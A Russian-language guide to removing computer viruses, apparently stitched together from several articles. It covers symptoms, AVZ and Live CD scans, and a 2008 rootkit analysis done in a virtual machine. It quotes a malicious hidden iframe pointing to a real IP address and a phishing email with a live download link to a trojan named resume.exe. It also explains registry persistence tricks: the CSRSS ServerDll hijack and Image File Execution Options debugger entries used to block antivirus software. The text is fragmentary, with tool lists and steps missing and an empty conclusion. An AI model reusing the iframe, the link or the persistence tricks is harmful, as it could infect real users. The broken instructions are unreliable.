На сегодняшний день поголовье вирусов исчисляется сотнями тысяч! Среди такого разнообразия подхватить эту заразу к себе на компьютер проще простого!

В этой статье последовательно рассмотрим, как можно удалить вирусы с компьютера в различных ситуациях.

1. Что такое вирус. Симптомы заражения вирусами

Вирус - это само размножающаяся программа. Но если бы они только размножалась, то бороться с ними можно было бы не так рьяно. Часть вирусов может существовать вообще никак не мешая пользователю до определенного момента и в час икс даст о себе знать: могут блокировать доступ к определенным сайтам, удалять информацию и т.д. В общем, мешают пользователю нормально работать за ПК.

Компьютер при заражении вирусом начинает вести себя нестабильно. Вообще, симптомов может быть десятки. Иногда пользователь даже не догадывается, что у него на ПК вирус. Стоит насторожиться и проверить компьютер антивирусом, если есть следующие признаки:

1) Снижение скорости работы ПК. Кстати, про то, (если, конечно, у вас нет вирусов) мы разбирали ранее.

2) Файлы перестают открываться, часть файлов может стать испорчена. Особенно, это касается программ, т.к. вирусы заражают exe и com файлы.

3) Снижение скорости работы программ, служб, сбои и ошибки приложений.

4) Блокировка доступа к части интернет-страничек. Особенно самых популярных: вконтакте, одноклассники и пр.

5) Блокировка ОС Windows, просьба отослать СМС для разблокировки.

6) Пропажа паролей от доступа к различным ресурсам (кстати, этим занимаются обычно троянские программы, которые, впрочем, можно так же отнести к вирусам).

Перечень далеко не полный, но если есть хоть один из пунктов - вероятность заражения очень высокая.

2. Как удалить вирусы с компьютера (в зависимости от вида)

2.1. «Обычный» вирус

Под словом обычный следует понимать то, что вирус не заблокирует вам доступ к работе в ОС Windows.

Для начала следует скачать одну из утилит для проверки компьютера. Одними из лучших являются:

3) Открываете файл avz.exe.

4) После запуска AVZ вам будут доступны три основные вкладки: область поиска, типы файлов и параметры поиска.В первой вкладке выберите диски, которые будут проверяться (обязательно выберите системный диск). Поставьте галочки, чтобы программа проверяла запущенные процессы, провела эвристическую проверку системы и искала потенциальные уязвимости. В методике лечения включите опции, которые будут определять, что делать с вирусами: удалять, или спросить у пользователя. Скриншот с перечисленными настройками чуть ниже.

5) Во вкладке типы файлов, выберите проверку всех файлов, включите проверку всех архивов без исключения. Скриншот ниже.

6) В параметрах поиска отметьте максимальный режим эвристики, включите детектирование Anti-Rootkit, поиск клавиатурных перехватчиков, исправление системных ошибок, поиск троянских программ.

7) После задания настроек можно нажать на кнопку пуск. Проверка длится довольно долго, в это время лучше не выполнять параллельно другие процессы, т.к. AVZ часть файлов блокирует. После проверки и удаления вирусов - перезагрузите ПК. Затем установите какой-нибудь и проверьте полностью компьютер.

2.2. Вирус блокирующий Windows

Основная проблема с такими вирусами - это невозможность работы в ОС. Т.е. для того, чтобы вылечить компьютер - вам нужен либо второй ПК, либо заранее подготовленные диски. В крайнем случае можно попросить знакомых, друзей и т.д.

В этой системной утилите можно увидеть, что у вас находится в автозагрузке. Отключите все!

2) Если компьютер не удается загрузить в безопасном режиме, придется прибегнуть к Live CD. Это специальный загрузочный диск, которым можно проверить диск на наличие вирусов (+ удалить их, если таковые имеются), скопировать данные с HDD на другие носители. На сегодняшний день самыми популярными являются три специализированных аварийных диска:

Отличная и бесплатная утилита для защиты ПК от вирусов и шпионов. Способен обеспечивать защиту ПК в режиме реального времени.

Что особо радует: легко устанавливается, быстро работает, не отвлекает вас ненужными сообщениями и уведомлениями.

Некоторые пользователи считают его не очень надежным. С другой стороны, даже такой антивирус способен вас сберечь от львиной доли опасности. Не у всех же есть деньги на покупки дорогих антивирусов, впрочем, ни одна антивирусная программа не дает 100% гарантии!

Антивирусный сканер, способный различать огромное количество вирусов. Он легко и быстро встраивается в контекстное меню проводника. Базы регулярно обновляются, благодаря чему антивирус всегда сможет вас оградить от большинства угроз.

Особо радует нетребовательность данного антивируса. Из минусов, многие отмечают его неказистый вид. Правда, реально ли это так важно для антивирусной программы?

В любом случае, хотя бы один антивирус на компьютере необходимо иметь (+ крайне желательно установочный диск с Windows и Live CD на случай удаления вирусов).

Итоги. В любом случае, угрозу заражения легче предотвратить, чем пытаться удалить вирус. Ряд мер способен свести к минимуму риски:

• Установка антивирусной программы, регулярное ее обновление.
• Обновление самой ОС Windows. Все таки разработчики не просто так выпускают критические обновления.
• Не качать сомнительные ключи и трейнеры к играм.
• Не устанавливать подозрительное ПО.
• Не открывать почтовые вложения от неизвестных адресатов.
• Регулярно нужных и важных файлов.

Даже этот простой набор спасет вас от 99% напастей.

Желаю вам удалить все вирусы с компьютера без потери информации. Удачного лечения.

    Вы, наверно, неоднократно встречали информацию в СМИ о том, что появился новый страшный вирус, который может привести к новой страшной эпидемии и чуть ли не к концу Интернета. Или, что появилась новая технология вирусописания, основанная на использовании младших битов пикселей графических изображений, и тело вируса практически невозможно обнаружить. Или... много еще чего страшненького. Иногда вирусы наделяют чуть ли не разумом и самосознанием. Происходит это от того, что многие пользователи, запутавшись в сложной классификации и подробностях механизма функционирования вирусов, забывают, что в первую очередь, любой вирус - это компьютерная программа, т.е. набор процессорных команд (инструкций), оформленных определенным образом. Неважно, в каком виде существует этот набор (исполняемый файл, скрипт, часть загрузочного сектора или группы секторов вне файловой системы) - гораздо важнее, чтобы эта программа не смогла получить управление, т.е. начать выполняться. Записанный на ваш жесткий диск, но не запустившийся вирус, также безобиден, как и любой другой файл. Главная задача в борьбе с вирусами - не обнаружить тело вируса, а предотвратить возможность его запуска. Поэтому грамотные производители вирусов постоянно совершенствуют не только технологии занесения вредоносного программного обеспечения в систему, но и способы скрытного запуска и функционирования.

Как происходит заражение компьютера вредоносным программным обеспечением (вирусом)? Ответ очевиден - должна быть запущена какая-то программа. Идеально - с административными правами, желательно - без ведома пользователя и незаметно для него. Способы запуска постоянно совершенствуются и основаны, не только на прямом обмане, но и на особенностях или недостатках операционной системы или прикладного программного обеспечения. Например, использование возможности автозапуска для сменных носителей в среде операционных систем семейства Windows привело к распространению вирусов на флэш-дисках. Функции автозапуска обычно вызываются со сменного носителя или из общих сетевых папок. При автозапуске обрабатывается файл Autorun.inf . Этот файл определяет, какие команды выполняет система. Многие компании используют эту функцию для запуска инсталляторов своих программных продуктов, однако, ее же, стали использовать и производители вирусов. В результате, об автозапуске, как некотором удобстве при работе за компьютером, можно забыть. - большинство грамотных пользователей данную опцию отключили навсегда.

Для отключения функций автозапуска в Windows XP/2000 reg-файл для импорта в реестр.

Для Windows 7 и более поздних отключение автозапуска можно выполнить с использованием апплета "Автозапуск" панели управления. В этом случае отключение действует по отношению к текущему пользователю. Более надежным способом защиты от внедрения вирусов, переносимых на съемных устройствах, является блокировка автозапуска для всех пользователей с помощью групповых политик:

    Механизм заражения компьютера посетителя сайта, в упрощенном виде, я попробую объяснить на примере. Не так давно, при посещении одного, довольно популярного сайта, я получил уведомление программы мониторинга автозапуска (PT Startup Monitor) о том, что приложение rsvc.exe пытается выполнить запись в реестр. Приложение было благополучно прибито FAR"ом, а изменения в реестре отменены PT Startup Monitor"ом. Анализ страниц сайта показал наличие странного кода на языке Javascript, выполняющего операции по преобразованию строковых данных, не являющихся осмысленным текстом. Язык Javascript поддерживается большинством современных браузеров и используется практически на всех веб-страницах. Сценарий, загружаемый с таких страниц, выполняется обозревателем Интернета. В результате многочисленных преобразований упомянутых выше строк получался довольно простой код:

iframe src="http://91.142.64.91/ts/in.cgi?rut4" width=1 height=1 style="visibility: hidden"

Означающий выполнение CGI-сценария сервера с IP - адресом 91.142.64.91 (не имеющего никакого отношения к посещаемому сайту) в отдельном окне (тег iframe) размером 1 пиксель по ширине и 1 пиксель по высоте, в невидимом окне. Результат - вполне вероятное вирусное заражение. Особенно, если нет антивируса или он не среагирует на угрозу. Данный пример скрытого перенаправления посетителя на вредоносный сайт с использованием тега "iframe" сегодня, наверно, не очень актуален, но вполне демонстрирует как, посещая легальный сайт, можно незаметно для себя побывать и на другом, не очень легальном, даже не подозревая об этом. К сожалению, абсолютной гарантии от вирусного заражения нет и нужно быть готовым к тому, что с вирусом придется справляться собственными силами.

    В последнее время, одним из основных направлений развития вредоносных программ стало применение в них всевозможных способов защиты от обнаружения антивирусными средствами - так называемые руткит (rootkit) - технологии. Такие программы часто или не обнаруживаются антивирусами или не удаляются ими. В этой статье я попытаюсь описать более или менее универсальную методику обнаружения и удаления вредоносного программного обеспечения из зараженной системы.

    Удаление "качественного" вируса, становится все более нетривиальной задачей, поскольку такой вирус разработчики снабжают свойствами, максимально усложняющими ее решение. Нередко вирус может работать в режиме ядра (kernel mode) и имеет неограниченные возможности по перехвату и модификации системных функций. Другими словами - вирус имеет возможность скрыть от пользователя (и антивируса) свои файлы, ключи реестра, сетевые соединения, - все, что может быть признаком его наличия в зараженной системе. Он может обойти любой брандмауэр, системы обнаружения вторжения и анализаторы протоколов. И, кроме всего прочего, он может работать и в безопасном режиме загрузки Windows. Иными словами, современную вредоносную программу очень непросто обнаружить и обезвредить.

    Развитие антивирусов тоже не стоит на месте, - они постоянно совершенствуются, и в большинстве случаев, смогут обнаружить и обезвредить вредоносное ПО, но рано или поздно, найдется модификация вируса, которая какое-то время будет "не по зубам" любому антивирусу. Поэтому самостоятельное обнаружение и удаление вируса - это работа, которую рано или поздно придется выполнять любому пользователю компьютера.

Здравствуйте.
Нас заинтересовала ваша кандидатура, однако предлагаем вам заполнить
наш фирменный бланк резюме и отправить его по адресу [email protected]
Ответ не гарантируется, однако если Ваше резюме нас заинтересует, мы
позвоним Вам в течение нескольких дней. Не забудьте
указать телефон, а также позицию, на которую Вы претендуете. Желательно
также указать пожелания по окладу.
Наш фирменный бланк вы можете скачать по нижеуказанной ссылке.
http://verano-konwektor.pl/resume.exe

    Анализ заголовков письма показал, что оно было отправлено с компьютера в Бразилии через сервер, находящийся в США. А фирменный бланк предлагается скачать с сервера в Польше. И это с русскоязычным-то содержанием.

    Ясное дело, что никакого фирменного бланка вы не увидите, и скорее всего, получите троянскую программу на свой компьютер.
    Скачиваю файл resume.exe. Размер - 159744 байта. Пока не запускаю.
    Копирую файл на другие компьютеры, где установлены различные антивирусы - просто для очередной проверки их эффективности. Результаты не ахти - антивирус Avast 4.8 Home Edition деликатно промолчал. Подсунул его Symantec"у - та же реакция. Сработал только AVG 7.5 Free Edition. Похоже, этот антивирус, в самом деле, не зря набирает популярность.
    Все эксперименты выполняю на виртуальной машине с операционной системой Windows XP. Учетная запись с правами администратора, поскольку, чаще всего вирусы успешно внедряются в систему только, если пользователь является локальным администратором.
    Запускаю. Через какое-то время зараженный файл исчез, похоже, вирус начал свое черное дело.
    Поведение системы внешне не изменилось. Очевидно, нужна перезагрузка. На всякий случай, запрещаю в брандмауэре соединения по протоколу TCP. Оставляю разрешенными только исходящие соединения по UDP:53 (DNS) - надо же оставить вирусу хоть какую-то возможность проявить свою активность. Как правило, после внедрения, вирус должен связаться с хозяином или с заданным сервером в интернете, признаком чего будут DNS-запросы. Хотя, опять же, в свете сказанного выше, умный вирус может их замаскировать, кроме того, он может и обойти брандмауэр. Забегая вперед, скажу, что в данном конкретном случае этого не произошло, но для надежного анализа сетевой активности весь трафик зараженной машины лучше пустить через другую, незараженную, где можно быть уверенным, что правила брандмауэра выполняются, а анализатор трафика (я пользовался Wireshark"ом) выдает то, что есть на самом деле.
    Перезагружаюсь. Внешне ничего не изменилось, кроме того, что невозможно выйти в интернет, поскольку я сам отключил такую возможность. Ни в путях автозапуска, ни в службах, ни в системных каталогах не появилось ничего нового. Просмотр системного журнала дает только одну наводку - системе не удалось запустить таинственную службу grande48 . Такой службы у меня быть не могло, да и по времени это событие совпало с моментом внедрения. Что еще наводит на мысль об успешном внедрении - так это отсутствие в реестре записи о службе grande48 и отсутствие второго сообщения в журнале системы об ошибке запуска службы после перезагрузки. Это, скорее всего, некоторая недоработка вирусописателей. Хотя и несущественная, ведь большинство пользователей журнал событий не просматривают, да и на момент возникновения подозрения на заражение эта запись в журнале уже может и отсутствовать.

Определяем наличие вируса в системе.

1.     Наверняка должен быть "левый" трафик. Определить можно с помощью анализаторов протокола. Я использовал Wireshark. Сразу после загрузки первым запускаю его. Все правильно, есть наличие группы DNS-запросов (как потом оказалось - один раз за 5 минут) на определение IP-адресов узлов ysiqiyp.com, irgfqfyu.com, updpqpqr.com и т.п. Вообще-то все ОС Windows любят выходить в сеть, когда надо и не надо, антивирусы могут обновлять свои базы, поэтому определить принадлежность трафика именно вирусу довольно затруднительно. Обычно требуется пропустить трафик через незараженную машину и серьезно проанализировать его содержимое. Но это отдельная тема. В принципе, косвенным признаком ненормальности сетевой активности системы могут быть значительные значения счетчиков трафика провайдера, в условиях простоя системы, счетчики из свойств VPN-соединения и т.п.

2.     Попробуем использовать программы для поиска руткитов. Сейчас таких программ уже немало и их несложно найти в сети. Одна из наиболее популярных - Марка Руссиновича, которую можно скачать на странице раздела Windows Sysinternals сайта Microsoft. Инсталляция не требуется. Разархивируем и запускаем. Жмем "Scan". После непродолжительного сканирования видим результаты:

    Кстати, даже не вникая в содержания строк, можно сразу заметить, что имеются очень "свежие" по времени создания/модификации записи или файлы (колонка "Timestamp") . Нас в первую очередь должны заинтересовать файлы с описанием (колонка "Description" ) - "Hidden from Windows API" - скрыто от API-интерфейса Windows. Скрытие файлов, записей в реестре, приложений - это, естественно, ненормально. Два файла - grande48.sys и Yoy46.sys - это как раз то, что мы ищем. Это и есть прописавшийся под видом драйверов искомый руткит или его часть, обеспечивающая скрытность. Наличие в списке остальных было для меня сюрпризом. Проверка показала - это нормальные драйверы Windows XP. Кроме того, вирус скрывал их наличие только в папке \system32 , а их копии в \system32\dllcache остались видимыми.
    Напомню, что в Windows XP применяется специальный механизм защиты системных файлов, называемый Windows File Protection (WFP) . Задача WFP - автоматическое восстановление важных системных файлов при их удалении или замене устаревшими или неподписанными копиями. Все системные файлы Windows XP имеют цифровую подпись и перечислены в специальной базе данных, используемой WFP. Для хранения копий файлов используется папка \system32\dllcache и, отчасти, \Windows\driver cache . При удалении или замене одного из системных файлов, WFP автоматически копирует "правильную" его копию из папки \dllcache. Если указанный файл отсутствует в папке \dllcache , то Windows XP просит вставить в привод компакт-дисков установочный компакт-диск Windows XP. Попробуйте удалить vga.sys из \system32, и система тут же его восстановит, используя копию из dllcache. А ситуация, когда, при работающей системе восстановления файлов, файл драйвера есть в \dllcache и его не видно в \system32 - это тоже дополнительный признак наличия руткита в системе.

Удаляем вирус из системы.

    Осталось выполнить самое важное действие - удалить вирус. Самый простой и надежный способ - загрузиться в другой, незараженной операционной системе и запретить старт драйверов руткита.

Воспользуемся стандартной консолью восстановления Windows. Берем установочный диск Windows XP и загружаемся с него. На первом экране выбираем 2-й пункт меню - жмем R.

Выбираем систему (если их несколько):

Вводим пароль администратора.
Список драйверов и служб можно просмотреть с помощью команды listsvc:

В самом деле, в списке присутствует Yoy46 , правда отсутствует grande48, что говорит о том, что файл драйвера grande48.sys скрытно присутствует в системе, но не загружается:

Консоль восстановления позволяет запрещать или разрешать запуск драйверов и служб с помощью команд disable и enable . Запрещаем старт Yoy46 командой:

    Водим команду EXIT и система уходит на перезагрузку.
После перезагрузки драйвер руткита не будет загружен, что позволит легко удалить его файлы и очистить реестр от его записей. Можно проделать это вручную, а можно использовать какой-нибудь антивирус. Наиболее эффективным, с моей точки зрения, будет бесплатный сканер на основе всем известного антивируса Dr.Web Игоря Данилова. Скачать можно отсюда - http://freedrweb.ru
    Там же можно скачать "Dr.Web LiveCD" - образ диска, который позволяет восстановить работоспособность системы, пораженной действиями вирусов, на рабочих станциях и серверах под управлением Windows\Unix, скопировать важную информацию на сменные носители либо другой компьютер, если действия вредоносных программ сделали невозможным загрузку компьютера. Dr.Web LiveCD поможет не только очистить компьютер от инфицированных и подозрительных файлов, но и попытается вылечить зараженные объекты. Для удаления вируса нужно скачать с сайта DrWeb образ (файл с расширением.iso) и записать его на CD. Будет создан загрузочный диск, загрузившись с которого, руководствуетесь простым и понятным меню.

    Если по каким-либо причинам, нет возможности воспользоваться Dr.Web LiveCD, можно попробовать антивирусный сканер Dr.Web CureIt!, который можно запустить, загрузившись в другой ОС, например, с использованием Winternals ERD Commander. Для сканирования зараженной системы необходимо указать именно ее жесткий диск (Режим "Выборочная проверка"). Сканер поможет вам найти файлы вируса, и вам останется лишь удалить связанные с ним записи из реестра.
    Поскольку вирусы научились прописываться на запуск в безопасном режиме загрузки, не мешает проверить ветку реестра:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\SafeBoot
Разделы:
Minimal - список драйверов и служб запускаемых в безопасном режиме (Safe Mode)
Network - то же, но с поддержкой сети.

Добавлю, что существует новый класс rootkit, представителем которого является BackDoor.MaosBoot , появившийся в конце 2007г. Эта троянская программа прописывает себя в загрузочный сектор жесткого диска и обеспечивает скрытую установку своего драйвера в памяти. Сам Rootkit-драйвер напрямую записан в последние секторы физического диска, минуя файловую систему, чем и скрывает свое присутствие на диске. В общем-то, принцип не новый, лет десять назад вредоносные программы подобным образом маскировались на резервных дорожках дискет и жестких дисков, однако оказался очень эффективным, поскольку большинство антивирусов с задачей удаления BackDoor.MaosBoot до сих пор не справляются. Упоминаемый выше загрузочный сектор не проверяет, а секторы в конце диска для него никак не связаны с файловой системой и, естественно, такой руткит он не обнаружит. Правда, Dr.Web (а, следовательно, и Cureit) с BackDoor.MaosBoot вполне справляется.

    Если у вас возникли сомнения относительно какого-либо файла, то можно воспользоваться бесплатной онлайновой антивирусной службой virustotal.com . Через специальную форму на главной странице сайта закачиваете подозрительный файл и ждете результатов. Сервисом virustotal используются консольные версии множества антивирусов для проверки вашего подозреваемого файла. Результаты выводятся на экран. Если файл является вредоносным, то с большой долей вероятности, вы сможете это определить. В какой-то степени сервис можно использовать для выбора "лучшего антивируса".
ссылка на одну из веток форума сайта virusinfo.info, где пользователи выкладывают ссылки на различные ресурсы посвященные антивирусной защите, в т.ч. и онлайн - проверок компьютера, браузера, файлов...

    Иногда, в результате некорректных действий вируса (или антивируса) система вообще перестает загружаться. Приведу характерный пример. Вредоносные программы пытаются внедриться в систему, используя различные, в том числе, довольно необычные способы. В процессе начальной загрузки, еще до регистрации пользователя, запускается "Диспетчер сеансов" (\SystemRoot\System32\smss.exe) , задача которого - запустить высокоуровневые подсистемы и сервисы (службы) операционной системы. На этом этапе запускаются процессы CSRSS (Client Server Runtime Process), WINLOGON (Windows Logon), LSASS (LSA shell), и оставшиеся службы с параметром Start=2 из раздела реестра

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services

    Информация, предназначенная для диспетчера сеансов, находится в ключе реестра

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\Session Manager

Одним из способов внедрения в систему, является подмена dll-файла для CSRSS. Если вы посмотрите содержимое записи

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\Session Manager\SubSystems

То найдете значения

ServerDll=basesrv , ServerDll=winsrv . Библиотеки basesrv.dll и winsrv.dll - это "правильные" файлы системы, загружаемые службой CSRSS на обычной (незараженной) системе. Эту запись в реестре можно подправить на запись, обеспечивающую загрузку, например, вместо basesrv.dll, вредоносной basepvllk32.dll:

ServerDll=basepvllk32 (или какую либо другую dll, отличную от basesrv и winsrv)

Что обеспечит, при следующей перезагрузке, получение управления вредоносной программе. Если же ваш антивирус обнаружит и удалит внедренную basepvllk32, оставив нетронутой запись в реестре, то загрузка системы завершится "синим экраном смерти" (BSOD) с ошибкой STOP c000135 и сообщением о невозможности загрузить basepvllk32.

Поправить ситуацию можно так:

Загрузится в консоль восстановления (или в любой другой системе), и скопировать файл basesrv.dll из папки C:\WINDOWS\system32 в ту же папку под именем basepvllk32.dll. После чего система загрузится и можно будет вручную подправить запись в реестре.
- загрузиться с использованием Winternals ERD Commander и исправить запись в реестре на ServerDll=basesrv . Или выполнить откат системы с использованием точки восстановления.

    Еще один характерный пример. Вредоносная программ регистрируется как отладчик процесса explorer.exe, создавая в реестре запись типа:

"Debugger"="C:\Program Files\Microsoft Common\wuauclt.exe"
Удаление wuauclt.exe антивирусом без удаления записи в реестре приводит к невозможности запуска explorer.exe. В результате вы получаете пустой рабочий стол, без каких-либо кнопок и ярлыков. Выйти из положения можно используя комбинацию клавиш CTRL-ALT-DEL. Выбираете "Диспетчер задач" - "Новая задача" - "Обзор" - находите и запускаете редактор реестра regedit.exe. Затем удаляете ключ
HKM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe
и перезагружаетесь.

    В случае, когда вы точно знаете время заражения системы, откат на точку восстановления до этого события, является довольно надежным способом избавления от заразы. Иногда есть смысл выполнять не полный откат, а частичный, с восстановлением файла реестра SYSTEM, как это описано в статье "Проблемы с загрузкой ОС" раздела "Windows"

    == Май 2008. ==

Дополнение

    Это дополнение возникло через год после написания основной статьи. Здесь я решил разместить наиболее интересные решения, возникшие в процессе борьбы с вредоносным программным обеспечением. Что-то вроде коротких заметок.

После удаления вируса ни один антивирус не работает.

    Случай интересен тем, что способ блокировки антивирусного программного обеспечения можно использовать и в борьбе с исполняемыми файлами вирусов. Началось все с того, что после удаления довольно примитивного вируса не заработал лицензионный "Стрим Антивирус". Переустановки с чисткой реестра не помогли. Попытка установки Avira Antivir Personal Free закончилась успешно, но сам антивирус не запустился. В системном журнале было сообщение о таймауте при запуске службы "Avira Antivir Guard". Перезапуск вручную заканчивался той же ошибкой. Причем, никаких лишних процессов в системе не выполнялось. Была стопроцентная уверенность - вирусов, руткитов и прочей гадости (Malware) в системе нет.
    В какой-то момент попробовал запустить антивирусную утилиту AVZ . Принцип работы AVZ во многом основан на поиске в изучаемой системе разнообразных аномалий. С одной стороны, это помогает в поиске Malware, но с другой вполне закономерны подозрения к компонентам антивирусов, антишпионов и прочего легитимного ПО, активно взаимодействующего с системой. Для подавления реагирования AVZ на легитимные объекты и упрощения анализа результатов проверки системы за счет отметки легитимных объектов цветом и их фильтрации из логов, применяется база безопасных файлов AVZ. С недавнего времени запущен полностью автоматический сервис, позволяющий всем желающим прислать файлы для пополнения этой базы.
Но: исполняемый файл avz.exe не запустился! Переименовываю avz.exe в musor.exe - все прекрасно запускается. В очередной раз AVZ оказался незаменимым помощником в решении проблемы. При выполнении проверок в результатах появилась строки:

Опасно - отладчик процесса "avz.exe"="ntsd-d"
Опасно - отладчик процесса "avguard.exe"="ntsd-d"
:.

Это была уже серьезная зацепка. Поиск в реестре по контексту "avz" привел к обнаружению в ветке

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

Раздела с именем avz.exe , содержащем строковый параметр с именем "Debugger" и значением .
И, как выяснилось позже, в указанной ветке присутствовал не только раздел "avz.exe", но и разделы с именами исполняемых модулей практически всех известных антивирусов и некоторых утилит мониторинга системы. Сам ntsd.exe - вполне легальный отладчик Windows, стандартно присутствующий во всех версиях ОС, но подобная запись в реестре приводит к невозможности запуска приложения, имя исполняемого файла которого совпадает с именем раздела???.exe.

    После удаления из реестра всех разделов, c именем???.exe и содержащих запись "Debugger" = "ntsd -d" работоспособность системы полностью восстановилась.

В результате анализа ситуации с использованием параметра "ntsd -d" для блокировки запуска исполняемых файлов, появилась мысль использовать этот же прием для борьбы с самими вирусами. Конечно, это не панацея, но в какой-то степени может снизить угрозу заражения компьютера вирусами с известными именами исполняемых файлов. Для того, чтобы в системе невозможно было выполнить файлы с именами ntos.exe, file.exe, system32.exe и т.п. можно создать reg-файл для импорта в реестр:

Windows Registry Editor Version 5.00

"Debugger"="ntsd -d"
"Debugger"="ntsd -d"
"Debugger"="ntsd -d"
:.. и т.д.

Обратите внимание, на то, что имя раздела не содержат пути файла, поэтому данный способ нельзя применять для файлов вирусов, имена которых совпадают с именами легальных исполняемых файлов, но сами файлы нестандартно размещены в файловой системе. Например, проводник Explorer.exe находится в папке \WINDOWS\, а вирус располагается где-то в другом месте - в корне диска, в папке \temp, \windows\system32\ Если вы создадите раздел с именем "Explorer.exe" - то после входа в систему вы получите пустой рабочий стол, поскольку проводник не запустится. Хуже того, если вы создадите раздел, имя которого совпадает с именем системной службы (winlogon.exe, csrss.exe, smss.exe, services.exe, lsass.exe), то получите рухнувшую систему. Если вирус находится в C:\temp\winlogon.exe, а легальный модуль входа в систему C:\WINDOWS\SYSTEM32\winlogon.exe, создание раздела с именем winlogon.exe приведет к невозможности запуска службы winlogon и краху системы с синим экраном смерти (BSOD).

    Но, все же, надеяться на то, что запрашиваемый вирусом код, подойдет в каждом конкретном случае, не стоит. Как не стоит надеяться на честное самоуничтожение вируса, и тем более, не стоит отправлять СМС. Любой вирус можно удалить, даже если он не обнаруживается антивирусами. Методики удаления вируса-вымогателя ничем не отличаются от методик удаления любого другого вредоносного ПО, с одним, пожалуй, отличием - не стоит тратить время на попытки справиться с дрянью в среде зараженной системы, разве что для развития собственных навыков и пополнения знаний.

Наиболее простой и эффективный путь - загрузиться с использованием другой, незараженной системы и, подключившись к зараженной, удалить файлы вируса и исправить внесенные им записи в реестре. Об этом я уже писал выше, в основной части статьи, а здесь попытаюсь просто изложить несколько кратких вариантов удаления вируса.

В данной статье я расскажу вам как очистить ваш компьютер от вирусов с 99% гарантией, ведь не один современный антивирус не может обеспечить 100% защиту. Если не хотите долго читать или ошибиться можете посмотреть наше видео внизу.

Включаем рабочий стол --> нажимаем кнопку пуск --> панель управления --> вверху справа мелкие значки --> параметры папок --> вкладка вид --> опускаем бегунок вниз и убираем галочки: Скрывать защищенные системные файлы, скрывать расширение для зарегистрированных типов файлов и ставим точку напротив Показывать скрытые файлы и папки --> нажимаем применить потом ОК.

Снова мой компьютер --> диск ц --> пользователи --> папка с именем вашего пользователя --> AppData --> Local --> Temp --> снова выделяем все файлы и удаляем их --> возвращаемся в папку Local опускаем в самый низ и удаляем все файлы(папки не трогаем будьте внимательны ), кроме тех у которых окончание DAT, ini.

Заражение вирусами компьютера – это совершенно не новая проблема, с которой сталкивался каждый компьютерный пользователь. Во время загрузки операционной системы появляется какое-то информационное окно, а то и не одно. А еще некоторые программы начинают работать некорректно, либо сама собой меняется стартовая страница вашего браузера, в нее устанавливаются разные дополнения. Бывает даже так, что компьютер не включается вообще или загружается слишком долго, и потом во время работы тоже тормозит. Если имеет место хотя бы один из перечисленных выше признаков, то значит, ПК подхватил вирус и его надо «лечить».

Что делать, если компьютер заражен

Все действия по очистке зараженного компьютера в разных вариациях соответствуют следующему алгоритму:

1. скачать специальную антивирусную программу
2. установить соответствующее ПО на свой компьютер
3. запустить полное сканирование ПК

Обновить базы установленного антивируса нужно до последней версии. Кстати, в большинстве случаев, антивирус самостоятельно проверяет обновления во время подключения к интернету и так же автоматически скачивает их. Конечно, антивирусы у всех разные, но пункт «обновление» есть везде. Так что нужно открыть антивирус, иконка которого расположена в строке уведомлений, что в правом нижнем углу, выбрать на пункт «обновление», после сего нажать на нечто вроде "Обновить сейчас".

Совет

После того закачки обновления нужно будет полностью проверить свой компьютер. Этот пункт всегда где-то во вкладке под названием "Сканирование ПК", либо "Проверка компьютера".

Можно выбирать выборочную, быструю или полную проверки. Интересует именно полная проверка, ее и нужно выбрать. Идет она, правда, очень долго, но надо запастись терпением и дождаться её окончания. Даже если все продолжается более 12 часов. После окончания полной проверки, все те файлы, которые возможно «вылечить», лечите. А те, что нельзя, нужно удалите. Вредоносное ПО на подобие троянов и вирусов, антивирусная программа сама удалит.

После того, как полноценно проверится антивирусом компьютер, желательно скачать утилиту Dr.Web CureIt и проверить ею весь свой компьютер. Кстати, тем, у кого основным антивирусом является Dr.Web, нужна будет другая утилита. Например, от лаборатории Касперского. Она называется AVPTool. Как первой, так и второй утилитой надо проверять, пребывая в безопасном режиме. Для этого следует перезагрузить свой компьютер, и нажимать раз в секунду, а то и чаще на клавишу F8. В появившемся меню понадобится выбрать пункт "Безопасный режим". ОН чаще всего идет первым. Когда Windows загрузится в данном режиме, нужно зайти в то место, куда была сохранена скачанная утилита и запустить ее. По окончании полной проверки, файлы, которые еще можно вылечить, следует лечить, а те, что нельзя вылечить, просто удаляйте. Можно для большей верности проверить несколькими утилитами.

Совет

В принципе, почти для всех пользователей ПК на данном этапе проверка компьютера на предмет вирусов может быть закончена. Тем, чьи сайты взломаны, также надо проверить, остались ли доступы у вирусов к сайтам. Очень часто троянские вирусы «воруют» логины с паролями.

Что делать, если в результате действия вирусов операционная система стала некорректно работать?

Первое, требуется сделать в таком случае, так это запустить «Восстановление системы» и попробовать сделать откат, при помощи, ранее созданной «точки восстановления», назад. Если у вас появляется сообщение типа "Восстановление системы отключено групповой политикой", то нужно открыть Групповые политики через «Пуск-Выполнить-gpedit.msc. ОК». Когда откроется Групповая политика, понадобится выбрать «Конфигурация компьютера-Административные шаблоны-Система-Восстановление системы» И если щёлкнуть дважды левой клавишей на пункте «Отключить восстановление системы», то должно появиться соответствующее окно. И, для нормальной работы, и для восстановления системы в нём надо отметить пункт "Не задан" или "Отключен". тогда все вступит в силу сразу после перезагрузки. Правда, в версиях Windows Home отсутствует Групповая политика.

Борьба с вирусами в безопасном режиме

В Безопасном режиме возможно опять попытаться убрать вредоносный файл из ПК и из автозагрузки. И в большинстве случаев это успешно получается. Если же в безопасный режим войти не удалось, то можно воспользоваться простым, но проверенным способом. То есть, почистить ПК с диска восстановления ESET NOD32, либо Dr.Web. Кстати их можно использовать в рли Live CD. Владельцам Live CD нужно попытаться загрузиться с него, чтобы проделать то же самое, что только что вы пытались в безопасном режиме. Можно также запустить с флеш накопителя антивирусный сканер, например, тот же Dr.Web CureIt.

Иногда помогает только переустановка Windows. Когда вирус удален, то если стоит Windows XP, возможно, что перестанет работать подключение к интернету. Такое происходит из-за нарушения, которое вносит вирус в настройки сетевой карты. Придется настраивать заново.

Вывод:

